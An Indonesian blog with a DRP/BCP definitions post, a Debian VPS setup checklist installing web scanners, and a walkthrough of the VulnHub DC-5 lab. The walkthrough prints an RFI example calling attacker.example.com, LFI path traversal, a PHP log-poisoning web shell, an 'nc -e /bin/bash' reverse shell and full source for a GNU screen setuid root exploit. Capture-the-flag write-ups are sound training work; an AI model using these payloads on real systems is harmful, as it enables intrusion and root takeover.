Kamis, 10 Maret 2022

Iseng Menulis Pengertian DRP BCP #Bagian 1 (Pancingan)

Kutipan dari NIST 800-34r1:

Disaster Recovery Plan (DRP): A written plan for recovering one or more information systems at an alternate facility in response to a major hardware or software failure or destruction of facilities. 

Kutipan dari ISO 22301:

Business Continuity Plan: documented information that guides an organization to respond to a disruption  and resume, recover and restore the delivery of products and services consistent with its business continuity objectives.

^ Sebenarnya perbedaan signifikan keduanya, yaitu DRP memfokuskan dari sisi Disaster dan yang BCP fokus ke arah Business. (Jangan dilempar bata)

Sebenarnya keduanya memiliki persamaan, yaitu ingin menjaga sebuah produk atau layanan agar ketika terjadi hal yang tidak diinginkan masih dapat diakses walau mungkin dengan keterbatasan.

Tulisan ini hanya iseng saja memancing beberapa orang sering membuat sama antara DRP, BCP bahkan BCM. Padahal semuanya memiliki perbedaan jika digali lebih mendalam. Namun ujungnya semua itu terkadang diserahkan kepada teman-teman yang dibidang Teknologi Informasi harus dapat membuat semua perencanaan itu. Pertanyaan berikutnya, apa cuman terbatas dari sisi perencanaan (Plan)?

Yah ga salah ketika teman-teman cuman membuat perencanaan tanpa ada eksekusi, kan jelas namanya cuman DR Plan atau BC Plan!!!

Bahkan banyak juga dilapangan eh di sektor industri/usaha yang masih sulit membedakan antara insiden atau disaster. Ini yang bisa repot dan terlalu fatal jika belum bisa mendefinisikan hal tersebut, karena nanti ketika misal ada insiden satu server terkena malware, mari kita aktifkan perencanaan DR kita dan akhirnya banyak mengeluarkan energi.


Sekian pancingan singkat ini dan semoga tambah membantu kita semua menjadi lebih bingung ^_^

Rabu, 18 Agustus 2021

Catatan Kecil Ketika Membeli VPS Debian

Ini hanya catatan kecil supaya saya tidak lupa ketika baru membeli VPS dengan Sistem Operasi Debian, yaitu harus melakukan sebagai berikut:

1. Melakukan pembaruan terhadap "sources.list" dengan cara:

# sudo nano /etc/apt/sources.list

Lanjut ganti dengan: 

deb http://deb.debian.org/debian buster main contrib non-free 

deb-src http://deb.debian.org/debian buster main contrib non-free 

deb http://security.debian.org/debian-security buster/updates main contrib 

deb-src http://security.debian.org/debian-security buster/updates main contrib 

Kemudian Simpan dengan writeout (CTRL+O) dan keluar (CTRL+X).

2. Lanjut dengan "sudo apt-get update" dan "sudo apt-get upgrade".

3. Biar lebih mudah clone di github, lakukan ini "sudo apt install git".

4. Buat iseng scan direktori web, ada alternatif ini "sudo apt-get install dirb".

5. Kemudian iseng lagi jika mau "sudo apt install dmitry", "sudo apt install gobuster", "sudo apt install nikto"

6. Tarik mang "sudo apt install ruby", paket hemat install semua (lagi ga mau pusing) "sudo apt install build-essential libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev  libgmp-dev zlib1g-dev".

7. Install dah "sudo gem install wpscan" dan jalanin deh "./wpscan".


Thanks

Selasa, 25 Juni 2019

Tutorial Mengeksploitasi LFI dan Privilege Escalation di Linux Pada Lab DC-5

Sudah lama sekali tidak menuliskan sesuatu. Rencananya di postingan ini ceritanya akan membahas tentang mengeksploitasi soal di DC-5 yang dapat diunduh: https://www.vulnhub.com/entry/dc-5,314/

Kemudian saya membaca artikel dan mengikuti jejak raj chandel di "https://www.hackingarticles.in/dc-5-vulnhub-walkthrough/"

Sangat senang saya mengikuti semua postingan hackingarticles.in dari beberapa tahun lalu dan membuat saya belajar lagi walaupun sempat vakum beberapa tahun belakang ini di dunia tersebut. Yah ga ada salahnya newbie seperti saya belajar kembali.

Jadi saya menggunakan Operating System (OS) Kali Linux yang 2018 dan statusnya dibuat Bridged (AutoDetect), begitu juga dengan OS DC-5 (Target). Berikut ini contoh screenshot:
Kemudian ceritanya disini saya tidak mengetahui target berada di IP berapa dan alhasil saya menggunakan "netdiscover" guna mengetahui diseluruh segmentasi ada IP berapa saja yang UP. Sebenarnya bisa juga dengan melakukan scanning secara manual satu persatu segmen melalui "nmap" tapi akan panjang nanti. Berikut ini hasil scan melalui netdiscover:
Selanjutnya saya melakukan scanning dengan perintah "nmap -A 192.168.43.56" dengan hasil adalah terdapat port 80 dan 111 yang open. Disitu saya fokus ke port 80 dan mencari tahu melalui google apakah webservice "nginx 1.6.2" memiliki kerentanan dan hasilnya adalah ya ada donk. Berikut ini hasil screenshot:
Berikutnya adalah mengakses port 80 tersebut melalui web browser (tapi ada beberapa orang yang seneng melalui terminal, hehe maaf saya anak muda bukan orang tua ^_^ ). Disitu saya fokus ke menu contact.php. Biasanya di lapangan ketika sudah scanning infrastruktur menggunakan nmap, akan dilanjutkan scanning web aplikasi menggunakan tools seperti nikto, dirb dan lain-lain. Tapi disini saya langsung mengakses si contact.php (mirip buku tamu). Emang ngeliat langsung empuk dan saya mencoba memasukkan payload XSS dan hal iseng lainnya seperti mencoba membaca file "passwd" (karena OS nya Linux kata si Nmap) tapi ya ga ada gunanya dan berguna itu ketika masukin payload XSS. Berikut ini tampilan screenshot:
Dari gambar di atas, ketika saya sudah menginputkan semua isian di buku tamu maka munculah url "http://ip/thankyou.php?firstname=.....". Dari situlah saya mendapatkan halaman baru yaitu "thankyou.php" dan munculah naluri newbie serta script kiddies saya untuk melakukan scanning ngebrute halaman disitu dengan bantuan "dirb". Bingo saya dapat parameter baru yaitu "file" dan kemudian saya memverifikasi hasil dari scanner tersebut seperti gambar di bawah ini "http://ip/thankyou.php?file="



Tarik lagi mang masih panjang, setelah mengakses parameter "file" tersebut dengan nakal mencoba mengakses kerentanan LFI. Sudah tahu kan ya beda LFI dan RFI? Bisa baca disini:

Contohnya kek gini bang:
RFI
http://example.com/?file=http://attacker.example.com/evil.php
LFI
http://example.com/?file=../../uploads/evil.php


Dari percobaan di atas, saya berhasil mengakses file "/etc/passwd" si OS linux itu dan karena web service secara default di linux tidak jalan setingkat root maka jangan harap bisa mengakses "/etc/shadow". Biasanya jika passwd bisa dibaca dan ada port 22 (ssh) atau sejenisnya, langkah menyerang lainnya adalah melakukan bruteforce tapi di lab ini berbeda bang.

Kemudian berhubung ceritanya saya ini newbie dan script kiddies maka saya googling tuh file log web service (nGinx) berada dilokasi mana. Kenapa? Kali aja saya dapat pola si root atau beberapa tamu pernah akses apa saja ke server. Tetapi alhasil karena sebelumnya saya iseng scan sana sini dan masukin payload xss (jadi muncul popup di klien/jalan euy stored xss), log nya jadi banyak dan berikut ini screenshot:




Beberapa orang yang kaya saya pasti bertanya-tanya mengapa file itu yang diincer? Jadi gini loh, semua file log dan temporary itu biasanya bisa di read and write oleh akses rendah (web service). Jadi kita mulai dengan menginjeksi file log itu dengan "cmd" sederhana dan akan running www-data. Sebelum menuliskan kode jahat itu, bisa aktifkan perangkat untuk melakukan intercept dan disini saya pakai burpsuite dan tidak perlu dijelaskan tutorial gimana cara setting proxy dkk. Ini screenshot:







Dengan menuliskan command di bawah ini maka "<?php system($_GET['cmd']) ?>"  dan cari pada file log tersebut apakah sukses atau tidak dengan keyword "uid=bla bla bla". Ketika sukses ke write, maka akses melalui browser dengan mengetikan "nc -e /bin/bash IPListenKita PortKita". Berikut ini screenshot:
Ketika netcat (nc) telah berhasil, maka tidak ada salahnya mengakses dir atau ls dan untuk mendapatkan command prompt tolong panggil python -c 'import pty;pty.spawn("/bin/bash")'

Nah dari situ ketika ingin melakukan privilege escalation, tidak ada salahnya kita googling dan nanti mendapatkan beberapa PoC seperti tautan di bawah ini:


Lanjut ikuti instruksi privilege escalation yang ada di exploit-db dengan membuat beberapa script serta compile di Kali Linux.

Buat File "libhax.c"

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

Compile dengan perintah:
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

Buat File "rootshell.c"

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

Compile dengan perintah:
gcc -o rootshell rootshell.c

Kemudian buatkan file exploit 41115.sh (bebas namanya):
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc/
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

Ketika semua file sudah dibuat dan di compile, maka aktifkan web service di Kali Linux. Hal ini dilakukan agar Target mengunduh 3 file yang sudah kita compile di IP Kali Linux. Berikut ini screenshot:





Jadi semua file yang sudah di compile dan diunduh ke folder "/tmp" karena folder inilah yang bisa kita Read and Write. Sangat tidak mungkin jika kita wget di folder "/var/www/html" karena hanya bisa read saja. Ketika file semua berhasil di "wget" maka kita "chmod 777 atau chmod +x" file "41154.sh" dan kita eksekusi seperti gambar di bawah ini:

Akhirnya selesai dan sulit ini menjelaskan dengan kata-kata karena kebiasaan main sama rumput yang bergoyang. Model soal seperti ini banyak dijumpai di dunia nyata kok dan memang ga boleh putus asa karena harus mencari pintu yang terbuka darimanapun.

Sekian dari saya sang newbie dan script kiddies ^_^